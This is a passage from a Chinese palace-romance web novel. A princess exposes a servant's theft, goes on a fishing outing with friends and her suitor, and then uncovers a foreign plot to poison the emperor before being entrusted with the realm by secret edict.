苏嬷嬷良久反应过来，连忙赔笑：“殿下见笑了，都是一些不值钱的玩意儿，都是老奴从市场上收来的便宜货。老奴爱面子，就收下了。”
倒是一个好借口。
尚容嘴角微噙，她低头打量了一番，随即拿起一对镶金南洋珠耳环在苏嬷嬷面前晃了晃：“这对耳环可是好宝贝，本宫瞧着怎么有些熟悉。”
苏嬷嬷还在强撑，但脸色已然变了：“殿下或许是记错了……”
“本宫想起来了，本宫记得当年皇后罗氏也有一副这样的耳环，只是带了一次就没再见她带过了。”尚容眸色顿时一沉，“你觉得那副耳环去哪儿了？”
“老奴……老奴不知……”
尚容见她依旧嘴硬，转身好似就要离去：“翠桃，那便把东西带去给祖母看看吧，祖母素来对珠宝首饰有些研究，一眼便能瞧出。”
“殿下……殿下！”苏嬷嬷抱住尚容的大腿，声音哽咽，“老奴虽然是皇后娘娘的人，但这些年老奴对待太后娘娘一直是尽心尽力的啊殿下……”
“是吗？”尚容挑了挑眉，低头冷笑一声，“这些年慈禄宫的消息你怕是没少往那边传吧？”
“殿下……”苏嬷嬷一时语塞。
尚容俯下身去，与其对视，眼眼眸深处尽是凉意：“你应该庆幸你还没做什么伤天害理的事，不然你以为你还能活着和本宫说话吗？”
苏嬷嬷身体瘫软下去：“老奴知道错了，这些日子老奴一直后怕，这才将所有东西藏起来……只求殿下再给老奴一个机会……”
尚容推开她的手向前走去，走了几步停下立在原地。
“本宫不杀你，但也不会留你，本宫今日放你自由并会给你一笔钱财，不过此生你不得再踏入皇宫半步。”
苏嬷嬷愣在原地，良久叩首：“老奴……谢殿下……”
之后一连几日都格外平静，纵然无命人首领崖柏入狱的消息早已散布大街小巷，京都内却始终没有一丝风吹草动。
尚容这一日刚刚用完早膳，便听得门外传来一阵叩门声。
“容儿姐姐！”
尚容听出是默云的声音。
“进。”
尚容微微抬眸，见默云今日着一身石榴红长裙，衬得整个人灼若芙蕖，令人移不开眼。
尚容勾了勾唇，挽住她的手臂，笑着挑逗：“今日怎么想到来公主府了？可是有事？”
默云见自己心思被一眼看穿，不自觉低下头去，雪白的脸颊上泛起点点红晕，声音娇嗔：“容儿姐姐……明日天色正好，想来是踏青的好时候……”
尚容知晓若只是此事默云自不会是这副神态，于是不自觉回想起韶淳曾与自己说过默云自九荣山回来后便与丰诚走得很近，心中顿时明了。
尚容抿唇憋笑，与默云对视：“所以……云儿是邀请我与你同去，还是有什么别的人也在啊？”
声声入耳，默云耳根顿时红了，深吸了一口气：“容儿姐姐我和你直说了吧！我约了丰诚一起去，如果容儿姐姐你和晋安侯有空的话，和我们一同去吧？”
尚容伸手刮了刮默云的鼻梁，嘴角忍不住微微上扬：“好，我等会派人问问他。”
“容儿姐姐你真好！”默云顿
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时喜笑颜开，将尚容的手臂挽得更紧了些。
尚容任由她撒娇，朱唇微启：“打算去哪儿？”
“这几日听说西郊有一处风景不错，还能捉鱼放纸鸢，便想去看看！”默云嫣然一笑。
“听上去倒是不错。”尚容勾了勾唇。
就在此时，门外再次传来一阵叩门声。
“殿下，侯爷来了。”
尚容心想来得倒是巧，抬眸见魏修洵提着一盒苏记的薄荷夹糕走了进来。他似是不成想到默云在屋内，见到默云愣了一下，随即恢复了往日神色。
尚容见他看着自己似是有话要说，但默云根本没有给他说话的机会，径直走了上去。
“晋安侯你来得正好，方才我还在和容儿姐姐说明日踏青的事呢！你明日若是有空的话便与我们同去吧！”默云眉眼含笑。
“明日？”魏修洵微微出神，眸色不自觉暗了下去，薄唇轻抿。
“对啊！”默云不明所以。
尚容察觉到魏修洵有些为难，问道：“可是有事耽误不得？”
“无事。”魏修洵摇了摇头，嘴角微噙，随即将一盒薄荷夹糕递到尚容手中，“给你的。”
默云见魏修洵并未拒绝，唇边笑意再也按捺不住：“太好了！那就这么说定了哦！明日辰时玄武门不见不散！”
“容儿姐姐那我不打扰你们了，我先走了！”默云冲着尚容笑了笑。
尚容点了点头：“回去路上小心些。”
“放心吧。”言罢默云转身离去。
纵然魏修洵不说，尚容也猜到他有心事。她走到他身旁，朱唇微启：“可是崖柏那边有消息了？”
魏修洵摇了摇头，眼神躲闪：“并无消息。”
尚容见他这副模样忍不住憋笑，挑了挑眉：“你刚刚进来的时候想对我说什么？”
“我……”魏修洵欲言又止。
尚容勾了勾唇，在他耳畔轻语：“莫非……你也想明日约我出去踏青？”
魏修洵微微一愣，尚容便知自己猜对了。
魏修洵也不再隐瞒，自嘲地笑了笑，言语之间却流露出丝丝委屈：“我原本想约你去望原山，没想到被默云抢了先。”
尚容被逗笑了，而后似是想到什么，一脸坏笑：“本来呢……我也是可以答应你的，但若是我答应了你，默云难免会跟着去……到时候只怕丰诚也会去……”
魏修洵顿时有些局促，故意咳嗽了一声：“这次便算了，下次……只有我们两个人。”
“一言为定，我可不会食言。”尚容眉眼含笑，从食盒中取出一块薄荷夹糕递到魏修洵唇边，笑着揶揄，“尝尝？”
“容儿这算借花献佛吗？”魏修洵挑了挑眉，鼻梁间缀着的朱砂小痣微微晃动。
他声音低了下去，眼神挑逗：“更何况这佛还是我自己。”
尚容再也忍不住轻笑出声，佯装收回手来却被魏修洵握住手腕。
“但……尝尝也无妨。”言罢魏修洵将那块薄荷夹糕夺去，尝了一口。
64. 遇突变
第二日辰时，众人在玄武门集合同坐一辆马车前往西郊。
一路上，默云挽着尚容的手，二人坐在一边聊天，是以魏修洵与丰诚便自然而然地坐在另一边。
魏修洵见丰诚时不时地往默云那处望去，伸手揽过他的肩膀忍不住勾了勾唇：“不知先前是谁说一物降一物，如今看来……风水轮流转说不定什么时候就转到自己身上了，丰诚你说是不是？”
丰诚原本正在喝茶，听了这话连连呛了几口水。
他直起身来，佯装成毫不心虚的模样，脸不红心不跳地道：“谁……谁说的这句话？我怎么没听过？”
魏修洵扪心自问没见过脸皮这么厚的人，戏谑地笑了笑。
大约过了一个时辰的功夫，马车抵达西郊。尚容掀开车帘的一角，一池湖水顿时映入眼帘。
众人下车后发现湖泊算不得大，湖水清澈见底堪堪没过膝盖，是以不费吹灰之力便能看得湖底游过的鱼儿。
魏修洵顿时来了兴致，顶了顶丰诚的肩膀，嘴角微噙：“怎么样？比比？”
丰诚素来最受不了激将法，更何况此时身旁还立着默云和尚容，是以一点就着，撩起衣袖：“比就比！”
言罢，尚容便见二人同时俯身捉鱼。
丰诚见身边游过一条鱼连忙俯身去抓，奈何鱼很快反应过来逃走，丰诚一着急差点脚底打滑栽倒下去，幸亏被魏修洵一手拎住才勉强稳住。
尚容余光瞥见身旁的默云双手微微攥紧，忍不住勾了勾唇。
然而下一刻，她抬眸恰好撞上魏修洵的目光，他眉眼含笑，眼底却闪过一丝精光，尚容便猜到他心中又有主意了。
果然，他俯身到丰诚耳畔轻声说了些什么，丰诚便与他一人一边形成包围，很快便有了不少收获。
魏修洵倒也不去管鱼，径直朝尚容的方向走来。
“想试试吗？”魏修洵抿唇浅笑，声音轻柔。
尚容有些为难，要说钓鱼她或许还能帮得上忙，但若是捉鱼，她还真是头一回。她笑了笑：“我恐怕……不行。”
魏修洵二话不说牵过她的手往前走，唇角轻勾：“不试试怎么知道？”
尚容无奈地笑了笑，也学着魏修洵的样子挽起衣袖，俯下身去。
魏修洵轻握住尚容的手，目不转睛地盯着湖中逐渐靠近的游鱼：“先等片刻，等鱼钻入，再猛然收手。”
尚容点了点头，紧盯着不断靠近的鱼儿，静待时机成熟后快速收手。
尚容已经抓住鱼儿，奈何鱼儿拼命扑腾，尚容感觉手心泛起一阵滑腻的触感便下意识地将手松开了些，鱼儿便腾空跃起眼看着就要溜走，却被魏修洵死死抓住。
尚容回想起方才的情况忍不住轻笑出声，摇了摇头：“我就说我不行吧……我还是和默云负责烤鱼吧。”
魏修洵勾了勾唇，与尚容对视：“那我可要多抓几条鱼，到时好好尝尝容儿的手艺！”
尚容上了岸，见默云已经在一旁静候多时。默云看着木桶中活蹦乱跳的鱼儿正一脸苦恼，见到尚容简直如同见到救星般双眼放光。
“默云，你这是在做什么？”
默云尴尬地笑了笑：“我不会捉鱼，便想着只能帮忙烤鱼了，但是……我从来没做过这些……”
尚容勾了勾唇，取了小刀便干净利落地将木桶中的鱼一条条开膛破肚。
默云看了愣了愣，随即惊叹道：“容儿姐姐，你怎么什么都会啊？好生厉害！”
尚容微微侧目，笑了笑：“小时候学的，有时候也给自己做。怎么样？看着还不错吧？”
默云使劲点了点头。
尚容走到湖边将手洗净后，便用随身携带的火折子生起了火。
此时魏修洵正好送来穿鱼用的树枝，见尚容处理鱼来得兴应手有些惊讶，自嘲地笑了笑：“没想到容儿手艺这么好，看来我生辰做的那一桌子菜竟成了班门弄斧了！”
尚容听出他话里带着酸气，抿唇浅笑：“论起考究来我还是比不过你，你的师父可是御厨！”
魏修洵被哄得开心了不少，勾了勾唇坐在一旁。
尚容将魏修洵捡来的树枝用湖水洗净，而后将处理干净的生鱼穿起，放到火上炙烤。
待鱼肉变色，散发出香味之时鱼便烤好了，魏修洵见状第一个拿起一串烤鱼闻了闻：“闻着香气四溢。”
尚容不由得唇角轻勾：“尝尝看？”
魏修洵早有此意，迫不及待地咬了一口，只觉焦香酥脆的鱼皮混着内里柔嫩清甜的鱼肉滑入喉中，连连点头：“好吃。”
默云也拿起一串尝了一口，顿时赞不绝口：“容儿姐姐你手艺真好！我之前从没觉得烤鱼这么好吃！”
尚容见他们越夸越上头，唇边笑意也压抑不住。她从衣袖中取出一包辛香料，往烤鱼上均匀地撒了撒：“这料配上烤鱼才是一绝，尝尝。”
魏修洵拿了一串递到尚容手中：“你也吃些。”
尚容笑着点了点头。
众人吃饱喝足后正准备放纸鸢，只可惜天公不作美，方才还万里无云的天空顿时阴云密布，一阵急雨随之而落，越下越大。
此时众人离马车尚有些距离，若是径直跑去怕是会彻底淋湿，是以尚容环顾四周见不远处有一处山洞可作临时避雨之用。
“我们先去山洞里避雨，等雨停了再回去吧。”
“好。”魏修洵言罢脱下外袍，披在尚容头顶替她遮雨。
尚容心中泛起一阵暖流，微微侧目却见他半个身子落入雨中，伸手揽住他的腰让二人之间的距离更近了些。
魏修洵微微一愣，随即唇边笑意浓重。
“这雨还真是说下就下！”丰诚低头望了眼身上湿透的衣服，忍不住抱怨道。
默云望着山洞外的狂风暴雨，右手托腮，长叹道：“这下放纸鸢的计划只能泡汤了。”
丰诚见默云一脸不高兴的模样，伸手捏了捏她的脸蛋，笑着道：“以后有的是机会，下次我一定陪你放纸鸢，如何？”
“真的？”默云眨了眨眼，眼泛光亮。
“真的。”
魏修洵此时正好进入山洞，望了眼丰诚道：“别
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看丰诚平日一副不正经的样子，说出的话还是算数的，殿下大可放心。”
默云点了点头：“那就好。”
尚容见众人的衣服都淋湿了大半穿在身上难免难受，就拿出衣袖中还未发潮的火折子生了火，将衣服放在火堆一边烤。
默云将手靠近火堆果然没过多久就觉得暖和多了。
“容儿姐姐，你和晋安侯是怎么认识的啊？”
尚容似是没想到默云会突然问这个，愣了一下才回过神来与魏修洵对视一笑。
“我们两个，可以算是不打不相识吧。”尚容朱唇微启。
魏修洵忍不住嘴角微噙，望着尚容抿了抿唇：“那个时候她还避我如蛇蝎呢！”
默云不明所以：“怎么会呢？”
尚容不予置否，笑着挑了挑眉：“难道那时晋安侯找我不是为了利用我？”
魏修洵有些心虚，唇角轻勾：“是也不全是，我与容儿彼此彼此。”
尚容望着默云似是想到什么，唇边笑意逐渐隐去，声音清冷：“默云，你这次在大靖呆这么久，你王兄可曾催你回去？”
默云笑着摇了摇头：“没有，王兄政务繁忙自然不会管我这些，他临走时特意说了我想在大靖呆多久就呆多久。”
尚容微微颔首：“也好。”
“怎么了容儿姐姐？”默云见尚容眉心微蹙，关切问道。
“这些日子京城怕是不太平，我会让文叶寸步不离，也会再多加派些人手保证你的安全。”
默云笑着道：“多谢容儿姐姐，我会小心的。”
魏修洵轻轻抚了抚尚容的肩膀，柔声道：“放心吧，丰诚会武，必要时候也能帮上忙。”
“嗯。”尚容对上他的眼眸，抿唇浅笑。
尚容侧身朝山洞外望去，见一阵急雨过后天色骤暗，分明还是未时山洞外却似乎已是傍晚光景。
“有人来了。”魏修洵顿时警惕，灭了火光，右手紧握长剑，将尚容护在身后。
山洞内顿时安静，尚容也听得不远处传来阵阵整齐的脚步声，听着倒像是训练有素的队伍，神经顿时紧绷，下意识地去拿匕首。
“殿下！侯爷！”
“殿下！侯爷！”
“是肃啸。”尚容认出肃啸的声音，但细想之下眸色渐深，“肃啸是禁军统领，好端端的怎么会突然出现在西郊？”
魏修洵脸色渐沉。
“莫非……是宫里出事了！”尚容言罢走出山洞，高声道，“肃统领，出了何事？”
肃啸循着声音往山洞走来，映着肃啸手中火把的火光，尚容清晰地看见对方眼眸充血，脖颈处青筋凸起，脸色看上去很是难看，几乎与平日里见到的威风八面的禁军统领判若两人。
“肃统领，可是出事了？”
魏修洵也看出肃啸今日很是反常，几乎可以算得上是有些失态。
肃啸微微喘气，声音沙哑：“还请殿下……和侯爷速速回宫，陛下病倒了，崖柏死在了牢里，凶手还未抓住。陛下昏迷前让微臣来找殿下，请殿下暂代主持大局。”
65. 揭阴谋
声声入耳，尚容意识到事情紧急，眉头紧蹙，二话不说便与众人上了马车。
马车在皇宫外停下，尚容让丰诚照顾好默云，便转身与魏修洵在肃啸的带领下径直往养心殿而去。
尚容推门而入，见殿内永嘉帝躺在床榻上昏迷不醒，脸色惨白，床榻边李宣和宣妃坐在一旁，外面还围了不少太医院的太医，个个眉头紧锁，大气不敢喘一个。
“殿下，侯爷。”众太医见了尚容与魏修洵连忙欠身行礼。
事到如今，尚容已然顾不上这些繁文缛节，只是挥了挥手走到永嘉帝身旁，眉头不展：“父皇中了什么毒？”
“回殿下，方才老臣已替陛下把过脉，陛下中的是一种名叫落回的毒药。下毒之人极为谨慎，每次应是只加少许用量，陛下长期接触才会慢性中毒，据老臣所知前几日陛下偶感眩晕想来也是因为中了落回之毒。”
为首的太医院提点元律良拱手应道。
“按元太医所见，父皇可有生命危险？”尚容低头望着躺在床榻上，一夜之间苍老了好几岁的永嘉帝，声音低沉。
“陛下中毒虽尚未深入骨髓，但陛下前几日又因为政务操劳感染风寒，身体乏累，是以昏迷不醒，老臣已全力救治，但……”元律良长吸了一口气，径直跪了下去，“但陛下能否醒来，又何时会醒老臣也并无把握，还请长公主殿下赎罪！”
尚容点了点头，眉眼坚毅：“本宫自然相信元太医所言，但以免走漏风声引起动乱，在陛下醒来之前，太医院之中今日在殿内的所有人不得离开皇宫一步，违者斩！”
“是！”
“可曾查出毒下在何处？”尚容朱唇微启。
元律良神色严肃：“是陛下每日服用的养心丹出了问题，养心丹素来是由老臣一手研制，陛下服用养心丹十年来不曾出错，定是有人动了手脚将细微落回粉末掺杂其中。”
元律良话音未落，尚容余光瞥见站在一旁身着宝蓝圆领服的朱何低下头去，身体微微发抖。
“朱公公可是身子不适？”尚容眼神敏锐。
朱何似是不曾想到尚容突然提起自己，双腿一软差点没径直跪下去，嗓子里泛着一丝哭腔：“殿下……洒家是见陛下这般受苦，心中不忍啊……”
尚容走到朱何身前，故意玩笑：“是吗？知道的以为朱公公在替父皇担忧，不知道的……还以为朱公公是心虚呢，你说是不是？”
此言一出，朱何双腿再也支撑不住，趴地一下跪了下去磕了几个响头：“殿下真是折煞咱家了……就算是借咱家一百个胆子咱家也是万万不敢的啊！”
李宣也察觉到有些不对，皱眉道：“朱何！皇帝平日待你不错，你若是知道些什么现在说出哀家饶你无罪，否则便是欺君之罪！欺君之罪该当如何，你应该清楚！”
朱何顿时感觉后背发凉，但他知晓如今情况他若是再隐瞒，不论他是否与此事有关，都是死路一条。
是以他舒了一口气，道：“回太后娘娘，殿下，咱家前几日见到小顺子有些反常，那时咱家并不曾多想，如今想来小顺子的确是最有可能接触养心丹的人。”
“只是……”朱何微微抬眸，一脸为难，“只是小顺子是咱家一手提拔起来的，但咱家对陛下素来是忠心耿耿啊！还请太后娘娘，长公主殿下明鉴！”
尚容知晓事到如今，朱何没有理由说假话，便道：“你可知小顺子此时在哪儿？”
“一早他说家里有急事便出宫去了，究竟去了何处咱家不知。”朱何应回想道。
“属下这就命人张贴画像通缉此人！”肃啸转身欲走，却被尚容拦住。
“肃统领莫急，此人固然要抓，但不可大肆声张，而要秘密抓捕。”尚容眸色渐深，“若是禁军此刻在城中大肆张贴画像全城通缉，对方自然知晓计划得逞，届时若再走漏风声势必惹得人心惶惶，对大靖不利。”
李宣点了点头，声音沙哑：“容儿说得不错，此事不能由禁军出马，禁军必须留在皇城，既是为了掩人耳目，也是为了确保皇帝安全。”
“臣去。”一直默声不语的魏修洵此时开了口，“正好臣也要派人去保护云罗公主，一并在京中秘密搜捕小顺子。”
尚容抬眸与魏修洵对视，想来她方才还在担心默云安危，竟不成想魏修洵竟与她想到一块儿去了。
尚容朱唇微启：“既如此，此事便交给晋安侯了。”
“殿下放心，臣定不辱命。”魏修洵转身离去。
第二日寅时，尚容听得宫外传来消息有人突袭默云住所，所幸魏修洵提前设防使贼人计划落空，并将贼人抓住，魏修洵已经押着贼人和小顺子在来皇宫的路上。
这一夜尚容不曾合眼，眼底弥漫着些许血丝，整个人却威仪尽显。
“殿下，晋安侯带人来了。”
尚容抬眸，见魏修洵押着二人进入房内，其中一个身形矮小的是太监小顺子，而另一个皮肤黝黑，长着络腮胡的男人想必就是此次刺杀默云的贼人首领了。
“此人身份可曾核实？”尚容打量着跪在地上的两人。
魏修洵微微颔首：“小顺子身份核实，对于下毒一事已然供认不讳，是受此人指使。至于此人……他的右手手腕处有青黑色的巴蛇印记，此印记是西察贵族那腾氏的图腾，此人应是那腾氏族长那腾木无疑。当时看守牢狱的狱卒中有人与他打过照面，已确定此人便是当时混进牢狱刺杀崖柏之人。”
那腾氏……尚容眸色渐沉。众所周知那腾氏一族只听命于西察王室，自默沙称王以来更是成为其左膀右臂，默沙对那腾氏一族极为看重。
如此看来，她先前的猜测并没有错，无论是先前散播痘毒，还是如今给永嘉帝下毒，再到刺杀默云，目的都是为了使大靖人心惶惶，也是为了制造一个借口便于西察直接发难，名正言顺地开启两国战端。
默沙种种举动背后的野心昭然若揭。尚容顿时心若明镜：“将小顺子按律发落，至于那腾木……先押入大狱。”
“是！”
话音未落，房间内气氛顿时压抑，几乎令人难以呼吸。
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“其他人都先出去，哀家有话要对容儿说。”方才默声不语的李宣此发了话。
“是！微臣告退！”
“臣告退！”
随着魏修洵将房门带上，房间内除了昏迷不醒的永嘉帝，便只有尚容和李宣二人。
“事已至此，容儿有何打算？”李宣神色严肃，轻轻抚摩尚容的肩胛。
“容儿以为西察王默沙次次藐视我大靖律法，为所欲为胆大包天，此次更是对父皇出手，其觊觎大靖的野心昭然若揭，若是此次我大靖还坚持退让，大靖国威何在？如今之计唯有主动出战，方能一劳永逸。”尚容眉眼坚毅，字字句句掷地有声。
李宣点了点头：“说得不错，这一战不可避免，你大可放手去做，哀家支持你。”
尚容察觉到李宣话里有话，微微愣了一下：“眼下父皇未醒，祖母……”
李宣似是早已猜到尚容如此反应，她拉着尚容的手走到床榻边的墙壁前。尚容见墙壁上挂着一副永嘉帝亲笔书写的字画，李宣轻轻一推，字画后便出现了一道暗格。
“这是……”尚容眉头不展。
她见李宣打开暗格，从中取出一道明黄色圣旨。
“自九荣山回来之后，皇帝便立了这道圣旨，此事只有哀家与皇帝二人知晓，皇帝说在必要时可以打开。”李宣将圣旨递到尚容手中，“上面写着若他出事，大靖大小事务交由你全权打理，待天下太平之后由你辅佐七皇子继位。”
尚容接过圣旨，心中泛起一阵触动，良久抬眸：“没想到父皇这般信任我。”
李宣挽着尚容的手道：“他自知亏欠你许多，今生无法弥补，但他如今已然知错。有了这道圣旨，你大可放心去做，无人胆敢置喙！”
尚容点了点头，侧身望着床榻上昏迷不醒的永嘉帝微微出神。
一个时辰后，尚容急召重臣秘密议事。是日夜里，梅兰轩发布启示暂停对外营业，全力赶制一匹特用于前线的改良防身香粉，尚容则也前往梅兰轩整夜不曾合眼。
“殿下，您若是累了便歇一会吧，这里有我们看着不会出差错的。”落霜关切道。
尚容摇了摇头，浅浅一笑：“此次情况特殊，西察人素来惯用阴招，这批防身香事关前线的性命，本宫不能有丝毫松懈。”
“殿下，有人来了说要见您。”
尚容抬眸，只觉来者似曾相识，定睛一看才发现是司云。如今的司云摇身一变已然成为了内务府女总管，还真有了些威风八面的气场。
“殿下，我知晓这批防身香所需原料紧缺，便让人从内务府找了些送来。”司云眼神真挚，“殿下当日大恩，司云不敢忘。”
尚容勾了勾唇：“你有心了。”
“还有我。”
尚容闻声转身，见天香阁阁主沈奇盛站在自己身后。
“殿下这时可不能忘了我老沈，天香阁也可帮忙赶制防身香。”沈奇盛笑道。
望着一张张面孔，尚容眼眶微红，她强忍住心头触动，点了点头：“好，那便一起。”